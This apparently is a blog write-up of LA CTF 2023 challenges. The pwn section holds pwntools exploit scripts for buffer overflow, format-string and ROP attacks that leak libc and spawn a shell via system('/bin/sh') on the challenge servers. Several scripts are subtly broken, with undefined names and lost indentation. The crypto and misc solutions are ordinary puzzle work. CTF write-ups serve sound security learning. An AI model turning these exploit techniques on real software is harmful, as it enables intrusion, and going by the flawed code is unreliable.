LA CTF 2023

Pwn

1. gatekeep

There is an overflow in the gets() function, so if the input is greater than char s1[15], the check() function can be bypassed and the flag can be obtained.

2. bot

gets() has an overflow, and strcmp() has a bug where it stops reading input after a NULL byte. So the question asks you to take the input, then compare it to some string before returning it. All you have to do is write a NULL byte-terminated string, and the write buffer overflows.

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python3
from pwn import *

p = remote("lac.tf", 31180)
p.recv()
g = b"may i have the flag?\0"
g += b"A"*(64-len(g))
g += b'BBBBBBBB'
g += p64(0x40129a)
p.sendline(g)
p.interactive()

3.rut-roh-relro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

p = process("./rut_roh_relro")
p = remote("lac.tf",31134)
elf = ELF("./rut_roh_relro")
libc = ELF("./libc.so.6")
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['terminator', '--new-tab', '-x']

def dbg(src):
gdb.attach(p,src)
pause()

src = '''
b *$rebase(0x11C6)
b *$rebase(0x1201)
'''

# dbg(src)
g="%71$p %72$p"
p.sendlineafter("What would you like to post?",g)

p.recvuntil("Here's your latest post:\n")
libc_base = int(r.recvuntil(" ")[:-1],16) - 234 - libc.symbols['__libc_start_main']
success("libc_base = "+hex(libc_base))

stack_addr = int(r.recvuntil("\n")[:-1],16)
ret_stack = stack_addr - 0xf0
success("ret_stack = "+hex(ret_stack))

start_stack = stack_addr - 0xf0 - 0x20

gadget = 0xc967a
one_gadget = libc_base+gadget

system_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
pop_rdi_ret = libc_base + 0x0000000000023796

g = fmtstr_g(6, {ret_stack:pop_rdi_ret,ret_stack+8:bin_sh,ret_stack+0x10:system_addr}, write_size='byte')
p.sendlineafter("What would you like to post?",pg)

p.interactive()

4.redact

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *

p = process("./redact")
p = remote("lac.tf",31181)
elf = ELF("./redact")
libc = ELF("./libc.so.6")
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['terminator', '--new-tab', '-x']

def dbg(src):
gdb.attach(p,src)
pause()

src = '''
b *0x40149a
b *0x4012F9
'''

pop_rdi_ret = 0x000000000040177b
pop_rsi_r15_ret = 0x0000000000401779
start_addr = 0x401120

# dbg(src)
g='a'
p.sendlineafter("Enter some text: ",g)

g=b'b'*0x48+p64(pop_rdi_ret)+p64(0x4040C0)+p64(pop_rsi_r15_ret)+p64(0x403FE8)+p64(0)+p64(0x4010C0)+p64(start_addr)
p.sendlineafter("Enter a placeholder: ",g)

index = 0
p.sendlineafter("Enter the index of the stuff to redact: ",str(index))

libc_base = u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - libc.symbols['__libc_start_main']
success("libc_base = "+hex(libc_base))

system_addr = libc_base+libc.symbols['system']
bin_sh = libc_base+libc.search(b'/bin/sh').__next__()

g=b'b'*0x48+p64(pop_rdi_ret)+p64(bin_sh)+p64(system_addr)
p.sendlineafter("Enter a placeholder: ",g)
index = 0
p.sendlineafter("Enter the index of the stuff to redact: ",str(index))

p.interactive()

Crypto

1. one-more-time-pad

Just XOR.

1
2
3
4
5
6
7
8
9
from Crypto.Util.number import*
pt = b"Long ago, the four nations lived together in harmony ..."
ct = 0x200e0d13461a055b4e592b0054543902462d1000042b045f1c407f18581b56194c150c13030f0a5110593606111c3e1f5e305e174571431e
ct=long_to_bytes(int(ct))

for i in range(len(ct)):
flag = (pt[i] ^ ct[i])
print(chr(flag),end='')
#lactf{b4by_h1t_m3_0ne_m0r3_t1m3}

2. chinese-lazy-theorem-1

Make the modulus greater than the maximum value of the target, which is p*q, to leak the target, and then get the flag according to the target.

3. rolling in the mud


Solve the pigsty password.

1
{eombmcvcalebupauntcnjppmjfnicnappmjfnippmjfni}dugip

After the reverse order, use quip to blast.

1
lactf{rolling_and_rolling_and_rolling_until_the_pigs_go_home}

4. greek cipher

1
2
κςκ ωπν αζπλ ιησι χνοςνθ μσγθσρ λσθ ζπι ιηγ δςρθι ψγρθπζ ςζ ηςθιπρω θνθψγμιγκ πδ νθςζε γζμρωψιςπζ? τγ ζγςιηγρ. κςκ ωπν αζπλ ιησι χνοςνθ μσγθσρ λσθ ψρπξσξοω δονγζι ςζ εργγα? τγ ζγςιηγρ. ς οςαγ ηπλ εργγα μησρσμιγρ οππα ιηπνεη, γυγζ ςδ ς μσζ'ι ργσκ ιηγτ. οσμιδ{ς_ενγθθ_νθςζε_τσζω_εργγα_μησρσμιγρθ_κςκζ'ι_θιπψ_ωπν._λγοο_ψοσωγκ_ς_τνθι_θσω.μπζερσιθ!}
print(''.join(sorted(set(input()))))

This code implements the de-reordering function of a string. It takes user input as a string, converts it to a set, and removes duplicate characters. Then, it sorts the collection, and converts it back to a string. Finally, the code prints out the result using the “print” function.
and then with the help of a tool sitehttps://tio.run/#

Then use Cyberchef’s Substitute.

Finally, quipqiup can be blasted.

1
lactf{i_guess_using_many_greek_characters_didn't_stop_you._well_played_i_must_say.congrats!}

5. guess-the-bit!

Carefully observe the encryption source code logic, 150 cycles are performed, and each cycle generates a random number c, which is either the square of the original number, or the product of the square of the original number and 6. So you need to guess whether the number is a square or a multiple of 6.


As shown in the figure above, if both conditions are true, return “1” to the server, otherwise return “0”. Write a script with the help of pwntools.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from sympy.ntheory.primetest import is_square

p = remote('lac.tf', 31190)
p.recvline()
p.recvline()

C = 0

while C != 150:
c = int((p.recvline().decode()).split(" ")[-1])
if c%6 == 0 and is_square(c//6):
p.sendline(b"1")
else:
p.sendline(b"0")
C += 1
print(C,end="\r")
print(p.recv(1024))
print(p.recv(1024))

# lactf{sm4ll_pla1nt3xt_sp4ac3s_ar3n't_al4ways_e4sy}

6. chinese-lazy-theorem-2

According to the chinese lazy theorem, if you find target % p and target % q, you can find target % pq, but knowing target % pq is not enough, because the maximum target is p*q*2*3 *5, so try 30 times (target % pq) + i * pq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from sympy.ntheory.modular import crt

with remote("lac.tf", 31111) as r:
p = int(r.readline(False))
q = int(r.readline(False))
r.sendline(b"1")
r.readuntil(b"Type your modulus here: ")
r.sendline(str(p).encode())
x = int(r.readline(False))
r.sendline(b"1")
r.readuntil(b"Type your modulus here: ")
r.sendline(str(q).encode())
y = int(r.readline(False))
a, b = crt([p,q],[x,y])
r.sendline(b"2")
for i in range(30):
r.readuntil(b"Type your guess here: ")
r.sendline(str(a+i*b).encode())
print(r.readline())

Misc

1. ECB

UDP traffic analysis, using RFC 3514,https://www.ietf.org/rfc/rfc3514.txt

1
2
3
4
5
6
Flags is the abbreviation of flag Segment, which is a flag field.
It is actually a field in the IP packet header. Because most of the TCP, UDP, and application layer protocols are encapsulated in IP packets, you will often see this field when analyzing these protocols.
The identification field has 3 bits.
Reserved bit: 1 bit, which is a reserved bit and generally not used;
Don't fragment: 1 bit, used to indicate whether the data packet is fragmented (Not set means that the data packet is not fragmented);
More fragment: 1 bit, used to indicate whether it is the last fragment (Not set means it is the last one).

Check the flags field and the Data segment. The data segment has 1 byte of data.

Looking down, in N0.5, the setting of Reserved bit has changed.

Check RFC 3514 official document, if Reserved bit is set to 1 (0x1), it is a malicious packet.

So we only need to filter out the packets whose Reserved bit is 0, set the data and Reserved bit as columns, and set the Reserved bit as 0 as the filter condition, that is, ip.flags.rb == 0, observe The first few discoveries are the hex values of lactf.

Export the filtered UDP flow, open the saved UDP flow packet and track the UDP flow directly.

You can also use tshark.

1
tshark -r EBE.pcap -Y "ip.flags.rb == 0x0" -T fields -e data | xxd -r -p

2.CATS!



https://www.mentalfloss.com/article/576608/lanai-cat-sanctuary-hawaii-shelters-600-catsThere is their official website in the article, as shown in the figure below

3. hidden in plain sheets

The flag is in another Sheet but we don’t have permission to view it.


After checking the data, I found that the IMPORTRANGE function of Google Sheets can import the content.

So use IMPORTRANGE to get the flag directly

4. discord l34k

The topic gave a discord link

1
https://discord.com/channels/1060030874722259057/1060030875187822724/1060031064669700186

https://discord.com/blog/add-the-discord-widget-to-your-site/ Find key images in this post.

Below the image see the URL for the JSON API. In the given URL, the first ID ( 1060030874722259057 ) refers to the server, so we put that in the image where the example ID is. This gives us the link.

https://discordapp.com/api/servers/1060030874722259057/widget.json

After opening it, I found that it is an invitation link. After opening it, enter the LA CTF-Chall Server 5 server, and you can see the flag.


LA CTF 2023
https://g1at.github.io/2023/02/14/LACTF2023/
作者
g0at
发布于
2023年2月14日
许可协议